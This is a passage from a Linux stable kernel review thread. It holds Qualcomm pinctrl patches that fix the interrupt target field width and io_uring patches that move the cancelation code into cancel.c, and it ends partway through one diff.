11:8. Describe it as four bits wide so the common Qualcomm pinctrl code
clears the complete field before routing an interrupt to the application
processor.
Without intr_target_width, the common code uses its three-bit default
mask. Since GPIO_INTR_CFG resets with TARGET_PROC set to 0xf (NONE), bit
11 remains set when the driver programs HMSS target 3. The resulting
target is 0xb (HPASS_DSP_1), observed as an interrupt configuration value
of 0xb1b instead of 0x31b.
The GPIO interrupt status is consequently latched, but the HMSS TLMM
summary interrupt at GIC SPI 208 is never asserted. This affects all Nord
GPIO interrupts using the TLMM summary path, including the Ethernet PHY
interrupts on GPIO55 and GPIO141.
Fixes: c24dd0826f06 ("pinctrl: qcom: add the TLMM driver for the Nord platforms")
Signed-off-by: Zhangfei Gao <zhangfei.gao@oss.qualcomm.com>
Reviewed-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Reviewed-by: Shawn Guo <shengchao.guo@oss.qualcomm.com>
Link: https://patch.msgid.link/20260916085720.771498-1-zhangfei.gao@oss.qualcomm.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/qcom/pinctrl-nord.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/pinctrl/qcom/pinctrl-nord.c b/drivers/pinctrl/qcom/pinctrl-nord.c
index 7f37f8e819bab..010760cf0bf5c 100644
--- a/drivers/pinctrl/qcom/pinctrl-nord.c
+++ b/drivers/pinctrl/qcom/pinctrl-nord.c
@@ -32,6 +32,7 @@
.intr_wakeup_present_bit = 6, \
.intr_wakeup_enable_bit = 7, \
.intr_target_bit = 8, \
+ .intr_target_width = 4, \
.intr_target_kpss_val = 3, \
.intr_raw_status_bit = 4, \
.intr_polarity_bit = 1, \
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 177/193] io_uring/cancel: move request/task cancelation logic into cancel.c
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (175 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 176/193] cifs: add revalidation on FSCTL failure in smb2_duplicate_extents() Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 178/193] io_uring/cancel: move __io_uring_cancel() " Greg Kroah-Hartman
` (26 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Jens Axboe, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jens Axboe <axboe@kernel.dk>
[ Upstream commit 0d677936d67774f1b4ebfb3b26f207320f0fe3c6 ]
Move io_match_task_safe() and helpers into cancel.c, where it belongs.
Signed-off-by: Jens Axboe <axboe@kernel.dk>
Stable-dep-of: fddcf4c5321b ("io_uring/cancel: don't spin on local work the task can't run")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
io_uring/cancel.c | 38 ++++++++++++++++++++++++++++++++++++++
io_uring/cancel.h | 2 ++
io_uring/io_uring.c | 38 --------------------------------------
io_uring/io_uring.h | 3 ---
4 files changed, 40 insertions(+), 41 deletions(-)
--- a/io_uring/cancel.c
+++ b/io_uring/cancel.c
@@ -384,3 +384,41 @@ int io_cancel_remove(struct io_ring_ctx
io_ring_submit_unlock(ctx, issue_flags);
return nr ?: -ENOENT;
}
+
+static bool io_match_linked(struct io_kiocb *head)
+{
+ struct io_kiocb *req;
+
+ io_for_each_link(req, head) {
+ if (req->flags & REQ_F_INFLIGHT)
+ return true;
+ }
+ return false;
+}
+
+/*
+ * As io_match_task() but protected against racing with linked timeouts.
+ * User must not hold timeout_lock.
+ */
+bool io_match_task_safe(struct io_kiocb *head, struct io_uring_task *tctx,
+ bool cancel_all)
+{
+ bool matched;
+
+ if (tctx && head->tctx != tctx)
+ return false;
+ if (cancel_all)
+ return true;
+
+ if (head->flags & REQ_F_LINK_TIMEOUT) {
+ struct io_ring_ctx *ctx = head->ctx;
+
+ /* protect against races with linked timeouts */
+ raw_spin_lock_irq(&ctx->timeout_lock);
+ matched = io_match_linked(head);
+ raw_spin_unlock_irq(&ctx->timeout_lock);
+ } else {
+ matched = io_match_linked(head);
+ }
+ return matched;
+}
--- a/io_uring/cancel.h
+++ b/io_uring/cancel.h
@@ -21,6 +21,8 @@ int io_try_cancel(struct io_uring_task *
int io_sync_cancel(struct io_ring_ctx *ctx, void __user *arg);
bool io_cancel_req_match(struct io_kiocb *req, struct io_cancel_data *cd);
+bool io_match_task_safe(struct io_kiocb *head, struct io_uring_task *tctx,
+ bool cancel_all);
bool io_cancel_remove_all(struct io_ring_ctx *ctx, struct io_uring_task *tctx,
struct hlist_head *list, bool cancel_all,
--- a/io_uring/io_uring.c
+++ b/io_uring/io_uring.c
@@ -210,44 +210,6 @@ static inline unsigned int __io_cqring_e
return READ_ONCE(rings->cq.tail) - READ_ONCE(rings->cq.head);
}
-static bool io_match_linked(struct io_kiocb *head)
-{
- struct io_kiocb *req;
-
- io_for_each_link(req, head) {
- if (req->flags & REQ_F_INFLIGHT)
- return true;
- }
- return false;
-}
-
-/*
- * As io_match_task() but protected against racing with linked timeouts.
- * User must not hold timeout_lock.
- */
-bool io_match_task_safe(struct io_kiocb *head, struct io_uring_task *tctx,
- bool cancel_all)
-{
- bool matched;
-
- if (tctx && head->tctx != tctx)
- return false;
- if (cancel_all)
- return true;
-
- if (head->flags & REQ_F_LINK_TIMEOUT) {
- struct io_ring_ctx *ctx = head->ctx;
-
- /* protect against races with linked timeouts */
- raw_spin_lock_irq(&ctx->timeout_lock);
- matched = io_match_linked(head);
- raw_spin_unlock_irq(&ctx->timeout_lock);
- } else {
- matched = io_match_linked(head);
- }
- return matched;
-}
-
static inline void req_fail_link_node(struct io_kiocb *req, int res)
{
req_set_fail(req);
--- a/io_uring/io_uring.h
+++ b/io_uring/io_uring.h
@@ -185,9 +185,6 @@ void io_queue_next(struct io_kiocb *req)
void io_task_refs_refill(struct io_uring_task *tctx);
bool __io_alloc_req_refill(struct io_ring_ctx *ctx);
-bool io_match_task_safe(struct io_kiocb *head, struct io_uring_task *tctx,
- bool cancel_all);
-
void io_activate_pollwq(struct io_ring_ctx *ctx);
static inline void io_lockdep_assert_cq_locked(struct io_ring_ctx *ctx)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 012/242] pinctrl: qcom: hawi: Fix intr_target_width
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (10 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 011/242] pinctrl: qcom: nord: fix GPIO interrupt target width Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 013/242] pinctrl: qcom: qcs8300: " Greg Kroah-Hartman
` (229 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Konrad Dybcio, Shawn Guo,
Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
[ Upstream commit 9d4c3e0c6a53eb390d58b8d7aaf08885e46f93fd ]
The default width of the interrupt target field doesn't match the actual
register layout. Fix it.
Fixes: 90700e10d2ad ("pinctrl: qcom: Add Hawi pinctrl driver")
Assisted-by: LLM
Signed-off-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Reviewed-by: Shawn Guo <shengchao.guo@oss.qualcomm.com>
Link: https://patch.msgid.link/20260917-topic-tlmm_intr_width_fixes-v1-1-3bc1d056aa6b@oss.qualcomm.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/qcom/pinctrl-hawi.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/pinctrl/qcom/pinctrl-hawi.c b/drivers/pinctrl/qcom/pinctrl-hawi.c
index cdde69e954a76..3486a6d63d10e 100644
--- a/drivers/pinctrl/qcom/pinctrl-hawi.c
+++ b/drivers/pinctrl/qcom/pinctrl-hawi.c
@@ -47,6 +47,7 @@
.intr_wakeup_present_bit = 6, \
.intr_wakeup_enable_bit = 7, \
.intr_target_bit = 8, \
+ .intr_target_width = 4, \
.intr_target_kpss_val = 3, \
.intr_raw_status_bit = 4, \
.intr_polarity_bit = 1, \
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 178/193] io_uring/cancel: move __io_uring_cancel() into cancel.c
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (176 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 177/193] io_uring/cancel: move request/task cancelation logic into cancel.c Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 179/193] io_uring/cancel: move cancelation code from io_uring.c to cancel.c Greg Kroah-Hartman
` (25 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Jens Axboe, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jens Axboe <axboe@kernel.dk>
[ Upstream commit 01e019b2a30df41c485f602a5246124ea911071b ]
Yet another function that should be in cancel.c, move it over.
Signed-off-by: Jens Axboe <axboe@kernel.dk>
Stable-dep-of: fddcf4c5321b ("io_uring/cancel: don't spin on local work the task can't run")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
io_uring/cancel.c | 6 ++++++
io_uring/io_uring.c | 6 ------
2 files changed, 6 insertions(+), 6 deletions(-)
--- a/io_uring/cancel.c
+++ b/io_uring/cancel.c
@@ -422,3 +422,9 @@ bool io_match_task_safe(struct io_kiocb
}
return matched;
}
+
+void __io_uring_cancel(bool cancel_all)
+{
+ io_uring_unreg_ringfd();
+ io_uring_cancel_generic(cancel_all, NULL);
+}
--- a/io_uring/io_uring.c
+++ b/io_uring/io_uring.c
@@ -3369,12 +3369,6 @@ end_wait:
}
}
-void __io_uring_cancel(bool cancel_all)
-{
- io_uring_unreg_ringfd();
- io_uring_cancel_generic(cancel_all, NULL);
-}
-
static struct io_uring_reg_wait *io_get_ext_arg_reg(struct io_ring_ctx *ctx,
const struct io_uring_getevents_arg __user *uarg)
{
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 013/242] pinctrl: qcom: qcs8300: Fix intr_target_width
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (11 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 012/242] pinctrl: qcom: hawi: Fix intr_target_width Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 014/242] ARM: configs: sama5: enable current Microchip KSZ DSA symbols Greg Kroah-Hartman
` (228 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Konrad Dybcio, Shawn Guo,
Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
[ Upstream commit dcb5df182b37587d5ad6bb4388751bf5180957ac ]
The default width of the interrupt target field doesn't match the actual
register layout. Fix it.
Fixes: 0c4cd2cc87c8 ("pinctrl: qcom: add the tlmm driver for QCS8300 platforms")
Assisted-by: LLM
Signed-off-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Reviewed-by: Shawn Guo <shengchao.guo@oss.qualcomm.com>
Link: https://patch.msgid.link/20260917-topic-tlmm_intr_width_fixes-v1-3-3bc1d056aa6b@oss.qualcomm.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/qcom/pinctrl-qcs8300.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/pinctrl/qcom/pinctrl-qcs8300.c b/drivers/pinctrl/qcom/pinctrl-qcs8300.c
index 9a904d809e11d..fec86818c5118 100644
--- a/drivers/pinctrl/qcom/pinctrl-qcs8300.c
+++ b/drivers/pinctrl/qcom/pinctrl-qcs8300.c
@@ -45,6 +45,7 @@
.intr_enable_bit = 0, \
.intr_status_bit = 0, \
.intr_target_bit = 5, \
+ .intr_target_width = 4, \
.intr_target_kpss_val = 3, \
.intr_raw_status_bit = 4, \
.intr_polarity_bit = 1, \
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 179/193] io_uring/cancel: move cancelation code from io_uring.c to cancel.c
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (177 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 178/193] io_uring/cancel: move __io_uring_cancel() " Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 180/193] io_uring/cancel: dont spin on local work the task cant run Greg Kroah-Hartman
` (24 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Jens Axboe, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jens Axboe <axboe@kernel.dk>
[ Upstream commit ffce324364318220acf83e576eac06549cbf9911 ]
There's a bunch of code strictly dealing with cancelations, and that
code really belongs in cancel.c rather than in the core io_uring.c file.
Move the code there. Mostly mechanical, only real oddity here is that
struct io_defer_entry now needs to be visible across both io_uring.c
and cancel.c.
Signed-off-by: Jens Axboe <axboe@kernel.dk>
Stable-dep-of: fddcf4c5321b ("io_uring/cancel: don't spin on local work the task can't run")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
io_uring/cancel.c | 226 ++++++++++++++++++++++++++++++++++++++++++++++++
io_uring/cancel.h | 6 +
io_uring/io_uring.c | 244 ----------------------------------------------------
io_uring/io_uring.h | 10 +-
io_uring/sqpoll.c | 1
5 files changed, 245 insertions(+), 242 deletions(-)
--- a/io_uring/cancel.c
+++ b/io_uring/cancel.c
@@ -14,6 +14,8 @@
#include "filetable.h"
#include "io_uring.h"
#include "tctx.h"
+#include "sqpoll.h"
+#include "uring_cmd.h"
#include "poll.h"
#include "timeout.h"
#include "waitid.h"
@@ -428,3 +430,227 @@ void __io_uring_cancel(bool cancel_all)
io_uring_unreg_ringfd();
io_uring_cancel_generic(cancel_all, NULL);
}
+
+struct io_task_cancel {
+ struct io_uring_task *tctx;
+ bool all;
+};
+
+static bool io_cancel_task_cb(struct io_wq_work *work, void *data)
+{
+ struct io_kiocb *req = container_of(work, struct io_kiocb, work);
+ struct io_task_cancel *cancel = data;
+
+ return io_match_task_safe(req, cancel->tctx, cancel->all);
+}
+
+static __cold bool io_cancel_defer_files(struct io_ring_ctx *ctx,
+ struct io_uring_task *tctx,
+ bool cancel_all)
+{
+ struct io_defer_entry *de;
+ LIST_HEAD(list);
+
+ list_for_each_entry_reverse(de, &ctx->defer_list, list) {
+ if (io_match_task_safe(de->req, tctx, cancel_all)) {
+ list_cut_position(&list, &ctx->defer_list, &de->list);
+ break;
+ }
+ }
+ if (list_empty(&list))
+ return false;
+
+ while (!list_empty(&list)) {
+ de = list_first_entry(&list, struct io_defer_entry, list);
+ list_del_init(&de->list);
+ ctx->nr_drained -= io_linked_nr(de->req);
+ io_req_task_queue_fail(de->req, -ECANCELED);
+ kfree(de);
+ }
+ return true;
+}
+
+__cold bool io_cancel_ctx_cb(struct io_wq_work *work, void *data)
+{
+ struct io_kiocb *req = container_of(work, struct io_kiocb, work);
+
+ return req->ctx == data;
+}
+
+static __cold bool io_uring_try_cancel_iowq(struct io_ring_ctx *ctx)
+{
+ struct io_tctx_node *node;
+ enum io_wq_cancel cret;
+ bool ret = false;
+
+ mutex_lock(&ctx->uring_lock);
+ list_for_each_entry(node, &ctx->tctx_list, ctx_node) {
+ struct io_uring_task *tctx = node->task->io_uring;
+
+ /*
+ * io_wq will stay alive while we hold uring_lock, because it's
+ * killed after ctx nodes, which requires to take the lock.
+ */
+ if (!tctx || !tctx->io_wq)
+ continue;
+ cret = io_wq_cancel_cb(tctx->io_wq, io_cancel_ctx_cb, ctx, true);
+ ret |= (cret != IO_WQ_CANCEL_NOTFOUND);
+ }
+ mutex_unlock(&ctx->uring_lock);
+
+ return ret;
+}
+
+__cold bool io_uring_try_cancel_requests(struct io_ring_ctx *ctx,
+ struct io_uring_task *tctx,
+ bool cancel_all, bool is_sqpoll_thread)
+{
+ struct io_task_cancel cancel = { .tctx = tctx, .all = cancel_all, };
+ enum io_wq_cancel cret;
+ bool ret = false;
+
+ /* set it so io_req_local_work_add() would wake us up */
+ if (ctx->flags & IORING_SETUP_DEFER_TASKRUN) {
+ atomic_set(&ctx->cq_wait_nr, 1);
+ smp_mb();
+ }
+
+ /* failed during ring init, it couldn't have issued any requests */
+ if (!ctx->rings)
+ return false;
+
+ if (!tctx) {
+ ret |= io_uring_try_cancel_iowq(ctx);
+ } else if (tctx->io_wq) {
+ /*
+ * Cancels requests of all rings, not only @ctx, but
+ * it's fine as the task is in exit/exec.
+ */
+ cret = io_wq_cancel_cb(tctx->io_wq, io_cancel_task_cb,
+ &cancel, true);
+ ret |= (cret != IO_WQ_CANCEL_NOTFOUND);
+ }
+
+ /* SQPOLL thread does its own polling */
+ if ((!(ctx->flags & IORING_SETUP_SQPOLL) && cancel_all) ||
+ is_sqpoll_thread) {
+ while (!wq_list_empty(&ctx->iopoll_list)) {
+ io_iopoll_try_reap_events(ctx);
+ ret = true;
+ cond_resched();
+ }
+ }
+
+ if ((ctx->flags & IORING_SETUP_DEFER_TASKRUN) &&
+ io_allowed_defer_tw_run(ctx))
+ ret |= io_run_local_work(ctx, INT_MAX, INT_MAX) > 0;
+ mutex_lock(&ctx->uring_lock);
+ ret |= io_cancel_defer_files(ctx, tctx, cancel_all);
+ ret |= io_poll_remove_all(ctx, tctx, cancel_all);
+ ret |= io_waitid_remove_all(ctx, tctx, cancel_all);
+ ret |= io_futex_remove_all(ctx, tctx, cancel_all);
+ ret |= io_uring_try_cancel_uring_cmd(ctx, tctx, cancel_all);
+ mutex_unlock(&ctx->uring_lock);
+ ret |= io_kill_timeouts(ctx, tctx, cancel_all);
+ if (tctx)
+ ret |= io_run_task_work() > 0;
+ else
+ ret |= flush_delayed_work(&ctx->fallback_work);
+ return ret;
+}
+
+static s64 tctx_inflight(struct io_uring_task *tctx, bool tracked)
+{
+ if (tracked)
+ return atomic_read(&tctx->inflight_tracked);
+ return percpu_counter_sum(&tctx->inflight);
+}
+
+/*
+ * Find any io_uring ctx that this task has registered or done IO on, and cancel
+ * requests. @sqd should be not-null IFF it's an SQPOLL thread cancellation.
+ */
+__cold void io_uring_cancel_generic(bool cancel_all, struct io_sq_data *sqd)
+{
+ struct io_uring_task *tctx = current->io_uring;
+ struct io_ring_ctx *ctx;
+ struct io_tctx_node *node;
+ unsigned long index;
+ s64 inflight;
+ DEFINE_WAIT(wait);
+
+ WARN_ON_ONCE(sqd && sqpoll_task_locked(sqd) != current);
+
+ if (!current->io_uring)
+ return;
+ if (tctx->io_wq)
+ io_wq_exit_start(tctx->io_wq);
+
+ atomic_inc(&tctx->in_cancel);
+ do {
+ bool loop = false;
+
+ io_uring_drop_tctx_refs(current);
+ if (!tctx_inflight(tctx, !cancel_all))
+ break;
+
+ /* read completions before cancelations */
+ inflight = tctx_inflight(tctx, false);
+ if (!inflight)
+ break;
+
+ if (!sqd) {
+ xa_for_each(&tctx->xa, index, node) {
+ /* sqpoll task will cancel all its requests */
+ if (node->ctx->sq_data)
+ continue;
+ loop |= io_uring_try_cancel_requests(node->ctx,
+ current->io_uring,
+ cancel_all,
+ false);
+ }
+ } else {
+ list_for_each_entry(ctx, &sqd->ctx_list, sqd_list)
+ loop |= io_uring_try_cancel_requests(ctx,
+ current->io_uring,
+ cancel_all,
+ true);
+ }
+
+ if (loop) {
+ cond_resched();
+ continue;
+ }
+
+ prepare_to_wait(&tctx->wait, &wait, TASK_INTERRUPTIBLE);
+ io_run_task_work();
+ io_uring_drop_tctx_refs(current);
+ xa_for_each(&tctx->xa, index, node) {
+ if (io_local_work_pending(node->ctx)) {
+ WARN_ON_ONCE(node->ctx->submitter_task &&
+ node->ctx->submitter_task != current);
+ goto end_wait;
+ }
+ }
+ /*
+ * If we've seen completions, retry without waiting. This
+ * avoids a race where a completion comes in before we did
+ * prepare_to_wait().
+ */
+ if (inflight == tctx_inflight(tctx, !cancel_all))
+ schedule();
+end_wait:
+ finish_wait(&tctx->wait, &wait);
+ } while (1);
+
+ io_uring_clean_tctx(tctx);
+ if (cancel_all) {
+ /*
+ * We shouldn't run task_works after cancel, so just leave
+ * ->in_cancel set for normal exit.
+ */
+ atomic_dec(&tctx->in_cancel);
+ /* for exec all current's requests should be gone, kill tctx */
+ __io_uring_free(current);
+ }
+}
--- a/io_uring/cancel.h
+++ b/io_uring/cancel.h
@@ -27,10 +27,14 @@ bool io_match_task_safe(struct io_kiocb
bool io_cancel_remove_all(struct io_ring_ctx *ctx, struct io_uring_task *tctx,
struct hlist_head *list, bool cancel_all,
bool (*cancel)(struct io_kiocb *));
-
int io_cancel_remove(struct io_ring_ctx *ctx, struct io_cancel_data *cd,
unsigned int issue_flags, struct hlist_head *list,
bool (*cancel)(struct io_kiocb *));
+__cold bool io_uring_try_cancel_requests(struct io_ring_ctx *ctx,
+ struct io_uring_task *tctx,
+ bool cancel_all, bool is_sqpoll_thread);
+__cold void io_uring_cancel_generic(bool cancel_all, struct io_sq_data *sqd);
+__cold bool io_cancel_ctx_cb(struct io_wq_work *work, void *data);
static inline bool io_cancel_match_sequence(struct io_kiocb *req, int sequence)
{
--- a/io_uring/io_uring.c
+++ b/io_uring/io_uring.c
@@ -124,11 +124,6 @@
#define IO_REQ_ALLOC_BATCH 8
#define IO_LOCAL_TW_DEFAULT_MAX 20
-struct io_defer_entry {
- struct list_head list;
- struct io_kiocb *req;
-};
-
/* requests with any of those set should undergo io_disarm_next() */
#define IO_DISARM_MASK (REQ_F_ARM_LTIMEOUT | REQ_F_LINK_TIMEOUT | REQ_F_FAIL)
@@ -140,11 +135,6 @@ struct io_defer_entry {
/* Forced wake up if there is a waiter regardless of ->cq_wait_nr */
#define IO_CQ_WAKE_FORCE (IO_CQ_WAKE_INIT >> 1)
-static bool io_uring_try_cancel_requests(struct io_ring_ctx *ctx,
- struct io_uring_task *tctx,
- bool cancel_all,
- bool is_sqpoll_thread);
-
static void io_queue_sqe(struct io_kiocb *req, unsigned int extra_flags);
static void __io_req_caches_free(struct io_ring_ctx *ctx);
@@ -515,7 +505,7 @@ void io_req_queue_iowq(struct io_kiocb *
io_req_task_work_add(req);
}
-static unsigned io_linked_nr(struct io_kiocb *req)
+unsigned io_linked_nr(struct io_kiocb *req)
{
struct io_kiocb *tmp;
unsigned nr = 0;
@@ -686,7 +676,7 @@ void io_task_refs_refill(struct io_uring
tctx->cached_refs += refill;
}
-static __cold void io_uring_drop_tctx_refs(struct task_struct *task)
+__cold void io_uring_drop_tctx_refs(struct task_struct *task)
{
struct io_uring_task *tctx = task->io_uring;
unsigned int refs = tctx->cached_refs;
@@ -1445,8 +1435,7 @@ static inline int io_run_local_work_lock
max(IO_LOCAL_TW_DEFAULT_MAX, min_events));
}
-static int io_run_local_work(struct io_ring_ctx *ctx, int min_events,
- int max_events)
+int io_run_local_work(struct io_ring_ctx *ctx, int min_events, int max_events)
{
struct io_tw_state ts = {};
int ret;
@@ -1600,7 +1589,7 @@ static unsigned io_cqring_events(struct
* We can't just wait for polled events to come to us, we have to actively
* find and complete them.
*/
-static __cold void io_iopoll_try_reap_events(struct io_ring_ctx *ctx)
+__cold void io_iopoll_try_reap_events(struct io_ring_ctx *ctx)
{
if (!(ctx->flags & IORING_SETUP_IOPOLL))
return;
@@ -3011,13 +3000,6 @@ static __cold void io_tctx_exit_cb(struc
complete(&work->completion);
}
-static __cold bool io_cancel_ctx_cb(struct io_wq_work *work, void *data)
-{
- struct io_kiocb *req = container_of(work, struct io_kiocb, work);
-
- return req->ctx == data;
-}
-
static __cold void io_ring_exit_work(struct work_struct *work)
{
struct io_ring_ctx *ctx = container_of(work, struct io_ring_ctx, exit_work);
@@ -3151,224 +3133,6 @@ static int io_uring_release(struct inode
return 0;
}
-struct io_task_cancel {
- struct io_uring_task *tctx;
- bool all;
-};
-
-static bool io_cancel_task_cb(struct io_wq_work *work, void *data)
-{
- struct io_kiocb *req = container_of(work, struct io_kiocb, work);
- struct io_task_cancel *cancel = data;
-
- return io_match_task_safe(req, cancel->tctx, cancel->all);
-}
-
-static __cold bool io_cancel_defer_files(struct io_ring_ctx *ctx,
- struct io_uring_task *tctx,
- bool cancel_all)
-{
- struct io_defer_entry *de;
- LIST_HEAD(list);
-
- list_for_each_entry_reverse(de, &ctx->defer_list, list) {
- if (io_match_task_safe(de->req, tctx, cancel_all)) {
- list_cut_position(&list, &ctx->defer_list, &de->list);
- break;
- }
- }
- if (list_empty(&list))
- return false;
-
- while (!list_empty(&list)) {
- de = list_first_entry(&list, struct io_defer_entry, list);
- list_del_init(&de->list);
- ctx->nr_drained -= io_linked_nr(de->req);
- io_req_task_queue_fail(de->req, -ECANCELED);
- kfree(de);
- }
- return true;
-}
-
-static __cold bool io_uring_try_cancel_iowq(struct io_ring_ctx *ctx)
-{
- struct io_tctx_node *node;
- enum io_wq_cancel cret;
- bool ret = false;
-
- mutex_lock(&ctx->uring_lock);
- list_for_each_entry(node, &ctx->tctx_list, ctx_node) {
- struct io_uring_task *tctx = node->task->io_uring;
-
- /*
- * io_wq will stay alive while we hold uring_lock, because it's
- * killed after ctx nodes, which requires to take the lock.
- */
- if (!tctx || !tctx->io_wq)
- continue;
- cret = io_wq_cancel_cb(tctx->io_wq, io_cancel_ctx_cb, ctx, true);
- ret |= (cret != IO_WQ_CANCEL_NOTFOUND);
- }
- mutex_unlock(&ctx->uring_lock);
-
- return ret;
-}
-
-static __cold bool io_uring_try_cancel_requests(struct io_ring_ctx *ctx,
- struct io_uring_task *tctx,
- bool cancel_all,
- bool is_sqpoll_thread)
-{
- struct io_task_cancel cancel = { .tctx = tctx, .all = cancel_all, };
- enum io_wq_cancel cret;
- bool ret = false;
-
- /* set it so io_req_local_work_add() would wake us up */
- if (ctx->flags & IORING_SETUP_DEFER_TASKRUN) {
- atomic_set(&ctx->cq_wait_nr, 1);
- smp_mb();
- }
-
- /* failed during ring init, it couldn't have issued any requests */
- if (!ctx->rings)
- return false;
-
- if (!tctx) {
- ret |= io_uring_try_cancel_iowq(ctx);
- } else if (tctx->io_wq) {
- /*
- * Cancels requests of all rings, not only @ctx, but
- * it's fine as the task is in exit/exec.
- */
- cret = io_wq_cancel_cb(tctx->io_wq, io_cancel_task_cb,
- &cancel, true);
- ret |= (cret != IO_WQ_CANCEL_NOTFOUND);
- }
-
- /* SQPOLL thread does its own polling */
- if ((!(ctx->flags & IORING_SETUP_SQPOLL) && cancel_all) ||
- is_sqpoll_thread) {
- while (!wq_list_empty(&ctx->iopoll_list)) {
- io_iopoll_try_reap_events(ctx);
- ret = true;
- cond_resched();
- }
- }
-
- if ((ctx->flags & IORING_SETUP_DEFER_TASKRUN) &&
- io_allowed_defer_tw_run(ctx))
- ret |= io_run_local_work(ctx, INT_MAX, INT_MAX) > 0;
- mutex_lock(&ctx->uring_lock);
- ret |= io_cancel_defer_files(ctx, tctx, cancel_all);
- ret |= io_poll_remove_all(ctx, tctx, cancel_all);
- ret |= io_waitid_remove_all(ctx, tctx, cancel_all);
- ret |= io_futex_remove_all(ctx, tctx, cancel_all);
- ret |= io_uring_try_cancel_uring_cmd(ctx, tctx, cancel_all);
- mutex_unlock(&ctx->uring_lock);
- ret |= io_kill_timeouts(ctx, tctx, cancel_all);
- if (tctx)
- ret |= io_run_task_work() > 0;
- else
- ret |= flush_delayed_work(&ctx->fallback_work);
- return ret;
-}
-
-static s64 tctx_inflight(struct io_uring_task *tctx, bool tracked)
-{
- if (tracked)
- return atomic_read(&tctx->inflight_tracked);
- return percpu_counter_sum(&tctx->inflight);
-}
-
-/*
- * Find any io_uring ctx that this task has registered or done IO on, and cancel
- * requests. @sqd should be not-null IFF it's an SQPOLL thread cancellation.
- */
-__cold void io_uring_cancel_generic(bool cancel_all, struct io_sq_data *sqd)
-{
- struct io_uring_task *tctx = current->io_uring;
- struct io_ring_ctx *ctx;
- struct io_tctx_node *node;
- unsigned long index;
- s64 inflight;
- DEFINE_WAIT(wait);
-
- WARN_ON_ONCE(sqd && sqpoll_task_locked(sqd) != current);
-
- if (!current->io_uring)
- return;
- if (tctx->io_wq)
- io_wq_exit_start(tctx->io_wq);
-
- atomic_inc(&tctx->in_cancel);
- do {
- bool loop = false;
-
- io_uring_drop_tctx_refs(current);
- if (!tctx_inflight(tctx, !cancel_all))
- break;
-
